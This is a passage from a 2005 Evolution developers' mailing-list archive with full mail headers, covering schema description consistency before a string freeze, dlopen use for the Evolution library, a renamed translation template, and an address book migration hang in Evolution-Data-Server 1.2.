ever be being used anyway, if all things are working properly. On Fri, 2005-02-04 at 12:27 -0500, JP Rosevear wrote: > When looking at 61075 I noticed some inconsistency/issues with our > schema files. I also looked at how we compared to the "de facto" style > guide in: > http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html > > Our long descriptions generally end in periods. Literal values are > sometimes in quotes (but not always, useful tweak since the translators > official guide actually says not to translate those quoted values for > schemas). The descriptions all begin capitalized, but captalization > after the first word is sometimes inconsistent (mostly we use lower case > after the first word). We don't match the terminology in the UI in some > cases, mostly it appears to be a legacy thing where we matched the > description to the key name instead (which may or may not match the UI > now). We use "If" in a couple places and "Whether" in more and for a > lot of booleans we use neither. > > So, my original task morphed somewhat and I ended up tidying up the > contacts, calendar and shell schema files (and cropped up some > additional issues below), I started on the mailer but it has more than > the other three combined so I started to get worried about the number of > string changes this might involve total, so I'm CC'ing the gnome-i18n > team as well. > > Comments? > > There are also some dead keys in some of the files that we only use when > migrating now. I think removing them from the schema is not an issue, > anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an > example). > > There are also 3 autocompletion schema entries in the addressbook schema > file. I suspect we actually might want these in libedataserverui. Not > sure where the keys should live (one key is actually dead other than for > migration actually). > > Also, unless anyone objects, I'm going to make > evolution-mail.schemas.in.in be consistent with the other schema file > namings in the source tree. > > -JP --=-DZSYS1RAtvJmTgWFgiS+ Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
My opinion is 'who cares', its only for the registry editor, which shouldn't ever be being used anyway, if all things are working properly.


On Fri, 2005-02-04 at 12:27 -0500, JP Rosevear wrote: 
When looking at 61075 I noticed some inconsistency/issues with our
schema files.  I also looked at how we compared to the "de facto" style
guide in:
http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html

Our long descriptions generally end in periods.  Literal values are
sometimes in quotes (but not always, useful tweak since the translators
official guide actually says not to translate those quoted values for
schemas).  The descriptions all begin capitalized, but captalization
after the first word is sometimes inconsistent (mostly we use lower case
after the first word).  We don't match the terminology in the UI in some
cases, mostly it appears to be a legacy thing where we matched the
description to the key name instead (which may or may not match the UI
now).  We use "If" in a couple places and "Whether" in more and for a
lot of booleans we use neither.

So, my original task morphed somewhat and I ended up tidying up the
contacts, calendar and shell schema files (and cropped up some
additional issues below), I started on the mailer but it has more than
the other three combined so I started to get worried about the number of
string changes this might involve total, so I'm CC'ing the gnome-i18n
team as well.

Comments?

There are also some dead keys in some of the files that we only use when
migrating now.  I think removing them from the schema is not an issue,
anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an
example).

There are also 3 autocompletion schema entries in the addressbook schema
file.  I suspect we actually might want these in libedataserverui.  Not
sure where the keys should live (one key is actually dead other than for
migration actually).

Also, unless anyone objects, I'm going to make
evolution-mail.schemas.in.in be consistent with the other schema file
namings in the source tree.

-JP
--=-DZSYS1RAtvJmTgWFgiS+-- From owner-evolution-hackers@skeptopotamus.ximian.com Fri Feb 4 03:50:05 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2F1511241AD; Fri, 4 Feb 2005 03:50:04 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 20D16124192 for ; Fri, 4 Feb 2005 03:49:53 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id EF28664648; Fri, 4 Feb 2005 03:40:05 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by skeptopotamus.ximian.com (Postfix) with ESMTP id C2C2264647 for ; Fri, 4 Feb 2005 03:40:05 -0500 (EST) Received: from phys-mayi-1 ([129.157.128.114]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j148e2W6019822 for ; Fri, 4 Feb 2005 01:40:05 -0700 (MST) Received: from conversion-daemon.mayi-mail1.germany.sun.com by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) id <0IBD00801P8N6R@mayi-mail1.germany.sun.com> (original mail from Frank.Schoenheit@Sun.COM) for evolution-hackers@ximian.com; Fri, 04 Feb 2005 09:40:02 +0100 (MET) Received: from [129.157.136.31] (sr-eham02-02.Germany.Sun.COM [129.157.136.31]) by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) with ESMTPA id <0IBD00BZVPEQFA@mayi-mail1.germany.sun.com>; Fri, 04 Feb 2005 09:40:02 +0100 (MET) Date: Fri, 04 Feb 2005 10:40:02 +0200 From: =?UTF-8?B?IkZyYW5rIFNjaMO2bmhlaXQgLSBTdW4gTWljcm9zeXN0ZW1zLCBJbmMuIg==?= In-reply-to: <1107492539.21175.16.camel@linux.site> To: jayant M Cc: michael.meeks@novell.com, JP Rosevear , evolution Message-id: <420334E2.1010806@sun.com> MIME-version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: 8BIT X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.3) Gecko/20040919 References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> X-Spam-Status: No, hits=-16.5 required=5.0 tests=BAYES_70,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MOZILLA_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Jayant, > We had earlier created "dlopen hack" for evo-lib dependancy. Can we > remove it now!! For the evo-lib, I don't consider usage of dlopen a hack. This is because for a given system, it's more likely for glib to be present than the evo lib. If we link the driver against the evo lib, then there is no diagnostics possibility on a system without evo, since the driver will simply not load at runtime. If we don't link against the evo lib, then the driver can at least be loaded, and has more possiblities to give the user a reasonable feedback when she attempts a connection. To the user, this might be the difference between "Evolution does not appear in the UI at all, so I don't even know about it", and "when I select Evolution, it gives me a message like 'No suitable Evolution version was found'". This may not sounds too much, but personally I'd consider it worth it :) (the more since the code is already there now.) Not to mention that before glibc 2.2.5, there's a bug in the library loader which causes subsequent calls to dlopen to *crash*, if you had one call which failed. So the more likely any library fails to load, the more likely OOo will crash a minute later. Ciao Frank -- - Frank Schönheit, Software Engineer frank.schoenheit@sun.com - - Sun Microsystems, Inc. http://www.sun.com - - OpenOffice.org Database Access http://dba.openoffice.org - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From danilo@gnome.org Fri Feb 4 16:58:25 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ECE07124A00; Fri, 4 Feb 2005 16:58:24 -0500 (EST) Received: from avet.kvota.net (unknown [147.91.15.35]) by lists.ximian.com (Postfix) with ESMTP id 6BB6E124D57 for ; Fri, 4 Feb 2005 16:58:12 -0500 (EST) Received: by avet.kvota.net (Postfix, from userid 1000) id 5E3E07CDDA; Fri, 4 Feb 2005 23:00:18 +0100 (CET) To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org References: <1107538072.7848.26.camel@bishop.rosevear.com> From: danilo@gnome.org (=?utf-8?q?Danilo_=C5=A0egan?=) Mail-Followup-To: JP Rosevear , Evolution Hackers mailing list , Gnome-i18n@gnome.org Date: Fri, 04 Feb 2005 23:00:18 +0100 In-Reply-To: <1107538072.7848.26.camel@bishop.rosevear.com> (JP Rosevear's message of "Fri, 04 Feb 2005 12:27:52 -0500") Message-ID: <874qgsyoi5.fsf@avet.kvota.net> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=-24.0 required=5.0 tests=BAYES_60,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,USER_AGENT_GNUS_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Today at 18:27, JP Rosevear wrote: > So, my original task morphed somewhat and I ended up tidying up the > contacts, calendar and shell schema files (and cropped up some > additional issues below), I started on the mailer but it has more than > the other three combined so I started to get worried about the number of > string changes this might involve total, so I'm CC'ing the gnome-i18n > team as well. I feel if these are going to go in, they should go in now. Freeze is there for translators, but before the freeze, all changes are welcome unless they unnecessarily burden some teams. Consistency is what translators very much prefer, so it's better done now than later forgotten. According to last update, we also have problems updating evolution POT files in our stats, so that may be of bigger influence than these changes (depending on how long this is the case). This might be only GTP's problem (i.e. wrong POT filename listed in cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it might be a problem in Evolution itself. According to http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html there're problems in all of evolution, e-d-s and evolution-exchange. So, you have my support, if that's of any significance. Of course, I hope the extent of the changes is not such as to make Evolution completely untranslated, because it's still one of the biggest modules in Gnome :) Cheers, Danilo From carlos@gnome.org Fri Feb 4 17:36:58 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 91566124863; Fri, 4 Feb 2005 17:36:58 -0500 (EST) Received: from gandalf.pemas.net (gandalf.pemas.net [207.150.166.132]) by lists.ximian.com (Postfix) with ESMTP id 33F1C124739 for ; Fri, 4 Feb 2005 17:36:46 -0500 (EST) Received: from gollum.pemas.net (69.Red-80-33-181.pooles.rima-tde.net [80.33.181.69]) by gandalf.pemas.net (Postfix) with ESMTP id ED8FD4D9A1; Fri, 4 Feb 2005 23:36:43 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by gollum.pemas.net (Postfix) with ESMTP id 272E9C; Fri, 4 Feb 2005 23:36:43 +0100 (CET) Received: from gollum.pemas.net ([127.0.0.1]) by localhost (Gollum [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 26404-02; Fri, 4 Feb 2005 23:36:39 +0100 (CET) Received: from [192.168.0.12] (unknown [192.168.0.1]) by gollum.pemas.net (Postfix) with ESMTP id D6417B; Fri, 4 Feb 2005 23:36:39 +0100 (CET) From: Carlos =?ISO-8859-1?Q?Perell=F3_Mar=EDn?= To: Danilo =?iso-8859-2?Q?=A9egan?= Cc: gnome-i18n@gnome.org, Evolution Hackers mailing list , JP Rosevear In-Reply-To: <874qgsyoi5.fsf@avet.kvota.net> References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-1HV4FwnpXb2/Ictj2EwB" Organization: GNOME Foundation Date: Fri, 04 Feb 2005 23:36:31 +0100 Message-Id: <1107556591.13976.15.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at pemas.net X-Spam-Status: No, hits=-25.8 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-1HV4FwnpXb2/Ictj2EwB Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: quoted-printable On Fri, 2005-02-04 at 23:00 +0100, Danilo =A6egan wrote: > Hi, >=20 Hi [...] > According to last update, we also have problems updating evolution POT=20 > files in our stats, so that may be of bigger influence than these=20 > changes (depending on how long this is the case). >=20 > This might be only GTP's problem (i.e. wrong POT filename listed in > cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it > might be a problem in Evolution itself. According to=20 > http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html > there're problems in all of evolution, e-d-s and evolution-exchange. Evolution's .pot file is called now evolution-2.2.pot instead of evolution-2.0.pot That's the problem. Sorry for the delay but I'm with final exams :-( Cheers. >=20 >=20 > So, you have my support, if that's of any significance. Of course, I > hope the extent of the changes is not such as to make Evolution > completely untranslated, because it's still one of the biggest modules > in Gnome :) >=20 > Cheers, > Danilo > _______________________________________________ > gnome-i18n mailing list > gnome-i18n@gnome.org > http://mail.gnome.org/mailman/listinfo/gnome-i18n --=20 Carlos Perell=F3 Mar=EDn Ubuntu Warty (PowerPC) =3D> http://www.ubuntulinux.org Linux Registered User #121232 mailto:carlos@pemas.net || mailto:carlos@gnome.org http://carlos.pemas.net Valencia - Spain --=-1HV4FwnpXb2/Ictj2EwB Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCA/jvEuPMamD5V9cRAsWKAJ9LioW9S8arvVYjKUY5ZNYckli6PwCdHqQm CAqvzuNu+Lq2aqYRkdI9uG0= =UO7T -----END PGP SIGNATURE----- --=-1HV4FwnpXb2/Ictj2EwB-- From danilo@gnome.org Fri Feb 4 23:03:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D3A981241BC; Fri, 4 Feb 2005 23:03:56 -0500 (EST) Received: from avet.kvota.net (unknown [147.91.15.35]) by lists.ximian.com (Postfix) with ESMTP id 0E42E124172 for ; Fri, 4 Feb 2005 23:03:45 -0500 (EST) Received: by avet.kvota.net (Postfix, from userid 1000) id 9B19E7CDDA; Sat, 5 Feb 2005 05:05:54 +0100 (CET) To: =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn?= Cc: gnome-i18n@gnome.org, JP Rosevear , Evolution Hackers mailing list References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> <1107556591.13976.15.camel@localhost.localdomain> From: danilo@gnome.org (=?utf-8?q?Danilo_=C5=A0egan?=) Mail-Followup-To: =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn?= , gnome-i18n@gnome.org, JP Rosevear , Evolution Hackers mailing list Date: Sat, 05 Feb 2005 05:05:54 +0100 In-Reply-To: <1107556591.13976.15.camel@localhost.localdomain> ( =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn's_message_of?= "Fri, 04 Feb 2005 23:36:31 +0100") Message-ID: <87zmyjy7kt.fsf@avet.kvota.net> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, hits=-22.3 required=5.0 tests=BAYES_90,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,USER_AGENT_GNUS_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Carlos, Yesterday at 23:36, Carlos Perell=C3=B3 Mar=C3=ADn wrote: > Evolution's .pot file is called now evolution-2.2.pot instead of > evolution-2.0.pot > > That's the problem. > > Sorry for the delay but I'm with final exams :-( No need to apologize. I'm myself able to check and correct this, but I also lacked the time. So actually, THANK YOU for looking into it!=20 Cheers, Danilo From jpr@novell.com Mon Feb 7 01:30:47 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7E2381241B8; Mon, 7 Feb 2005 01:30:47 -0500 (EST) Received: from s-utl01-slpop.stsn.com (s-utl01-slpop.stsn.com [12.168.96.11]) by lists.ximian.com (Postfix) with SMTP id E1898124398 for ; Mon, 7 Feb 2005 01:30:35 -0500 (EST) Received: from slpop.smtp.stsn.com ([127.0.0.1]) by s-utl01-slpop.stsn.com (SAVSMTP 3.1.0.29) with SMTP id M2005020623303006398 for ; Sun, 06 Feb 2005 23:30:30 -0700 Received: from [192.168.1.15] ([10.80.195.88]) by slpop.smtp.stsn.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 6 Feb 2005 23:30:30 -0700 Subject: Re: [Evolution-hackers] Schema file issues From: JP Rosevear To: Not Zed Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107565803.26413.16.camel@lostzed.mmc.com.au> References: <1107538072.7848.26.camel@bishop.rosevear.com> <1107565803.26413.16.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Mon, 07 Feb 2005 01:15:40 -0500 Message-Id: <1107756940.12870.1.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Feb 2005 06:30:30.0883 (UTC) FILETIME=[85504330:01C50CDE] X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote: > > My opinion is 'who cares', its only for the registry editor, which > shouldn't ever be being used anyway, if all things are working > properly. Well, I do and so do the translators at least. There were also non string related items in the mail - dead keys, keys in possibly the wrong spot and schema file naming which need addressing. -JP -- JP Rosevear From dsandras@seconix.com Mon Feb 7 05:32:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 720081244FB; Mon, 7 Feb 2005 05:32:45 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id BBCDC1244FB for ; Mon, 7 Feb 2005 05:32:33 -0500 (EST) Received: from pc-dhcp-44.telecom.fpms.ac.be (unknown [193.190.210.151]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id 5F93A181CB for ; Mon, 7 Feb 2005 11:34:41 +0100 (CET) From: Damien Sandras To: evolution-hackers@lists.ximian.com Content-Type: text/plain Date: Mon, 07 Feb 2005 11:32:30 +0100 Message-Id: <1107772350.29230.4.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] EDS 1.2 - Migration of the address book Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello to all, I noticed a potential problem with the new Evolution-Data-Server 1.2. Some GnomeMeeting users do not use Evolution as mail client, but they are still "forced" to use Evolution-Data-Server as backend in order to store GnomeMeeting contacts in the address book. When upgrading to Evolution-Data-Server 1.2, things do not work anymore until they launch the new Evolution that will do an "address book migration". That will give a problem to all users who are not using Evolution. One solution would be to copy the code to migrate the address book from Evolution to GnomeMeeting, but it doesn't seem to be a good solution as it would require to do it for all GNOME applications who are using Evolution-Data-Server. Wouldn't it be possible to move that "Address Book" migration code to Evolution-Data-Server itself? If not, what other clean solution do you propose? Thank you, -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From dobey@novell.com Mon Feb 7 13:28:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4C510124016; Mon, 7 Feb 2005 13:28:43 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 1C77F124076 for ; Mon, 7 Feb 2005 13:28:31 -0500 (EST) Received: (qmail 28629 invoked from network); 7 Feb 2005 18:28:30 -0000 Received: from localhost (HELO blackbox.boston.ximian.com) (dobey@127.0.0.1) by localhost with SMTP; 7 Feb 2005 18:28:30 -0000 Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Rodney Dawes To: Damien Sandras Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107772350.29230.4.camel@golgoth01> References: <1107772350.29230.4.camel@golgoth01> Content-Type: text/plain Date: Mon, 07 Feb 2005 13:28:29 -0500 Message-Id: <1107800909.30192.6.camel@blackbox.cam.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > Hello to all, > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > Some GnomeMeeting users do not use Evolution as mail client, but they > are still "forced" to use Evolution-Data-Server as backend in order to > store GnomeMeeting contacts in the address book. > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > until they launch the new Evolution that will do an "address book > migration". Things don't work how? The backend hasn't changed for the address book, and the gconf keys haven't changed in format or anything either. I think this is just a bug, and not necessarily a need to run migration. > That will give a problem to all users who are not using Evolution. > > One solution would be to copy the code to migrate the address book from > Evolution to GnomeMeeting, but it doesn't seem to be a good solution as > it would require to do it for all GNOME applications who are using > Evolution-Data-Server. > > Wouldn't it be possible to move that "Address Book" migration code to > Evolution-Data-Server itself? If not, what other clean solution do you > propose? We do need to move migration into e-d-s itself. Perhaps we should do that for 2.3. I don't think we have time to do it for 2.2, given that we are now string/ui/feature frozen for Gnome 2.10. -- dobey From dsandras@seconix.com Mon Feb 7 13:47:51 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 57C96124330; Mon, 7 Feb 2005 13:47:51 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id 7C5C812435A for ; Mon, 7 Feb 2005 13:47:25 -0500 (EST) Received: from [192.168.1.12] (165-83.242.81.adsl.skynet.be [81.242.83.165]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id 3EF6885B2; Mon, 7 Feb 2005 19:49:36 +0100 (CET) Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Damien Sandras To: Rodney Dawes Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107800909.30192.6.camel@blackbox.cam.novell.com> References: <1107772350.29230.4.camel@golgoth01> <1107800909.30192.6.camel@blackbox.cam.novell.com> Content-Type: text/plain; charset=ISO-8859-15 Date: Mon, 07 Feb 2005 19:47:21 +0100 Message-Id: <1107802042.3223.7.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-14.0 required=5.0 tests=BAYES_30,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Le lundi 07 février 2005 à 13:28 -0500, Rodney Dawes a écrit : > On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > > Hello to all, > > > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > > Some GnomeMeeting users do not use Evolution as mail client, but they > > are still "forced" to use Evolution-Data-Server as backend in order to > > store GnomeMeeting contacts in the address book. > > > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > > until they launch the new Evolution that will do an "address book > > migration". > > Things don't work how? The backend hasn't changed for the address book, > and the gconf keys haven't changed in format or anything either. I think > this is just a bug, and not necessarily a need to run migration. > If the address book has been created by GnomeMeeting using Evolution-Data-Server 1.2, there is no problem. If there exist an address book created by Evolution using Evolution-Data-Server 1.x, then it hangs with the following backtrace : #0 0x41a37115 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/libpthread.so.0 #1 0x405b5906 in e_book_cancel () from /usr/lib/libebook-1.2.so.3 #2 0x405b5a60 in e_book_open () from /usr/lib/libebook-1.2.so.3 #3 0x080bce00 in gnomemeeting_local_addressbook_get_contacts ( addbook=0x82cb0c8, nbr=@0x0, partial_match=0, fullname=0x82d3838 " ²,\b\001", url=0x0, categorie=0x0, speeddial=0x0) at gm_contacts-eds.cpp:424 [...] Once the address book migration has been executed by the new Evolution, then it starts working again. > We do need to move migration into e-d-s itself. Perhaps we should do > that for 2.3. I don't think we have time to do it for 2.2, given that we > are now string/ui/feature frozen for Gnome 2.10. No problem but is there a workaround to the above problem? -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From dsandras@seconix.com Mon Feb 7 15:24:41 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 56F1D12422D; Mon, 7 Feb 2005 15:24:41 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id F3DA512420C for ; Mon, 7 Feb 2005 15:24:28 -0500 (EST) Received: from [192.168.1.12] (165-83.242.81.adsl.skynet.be [81.242.83.165]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id D8B9518F8F; Mon, 7 Feb 2005 21:26:41 +0100 (CET) Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Damien Sandras To: Rodney Dawes Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107800909.30192.6.camel@blackbox.cam.novell.com> References: <1107772350.29230.4.camel@golgoth01> <1107800909.30192.6.camel@blackbox.cam.novell.com> Content-Type: text/plain; charset=ISO-8859-15 Date: Mon, 07 Feb 2005 21:24:23 +0100 Message-Id: <1107807863.13703.0.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-19.0 required=5.0 tests=BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: 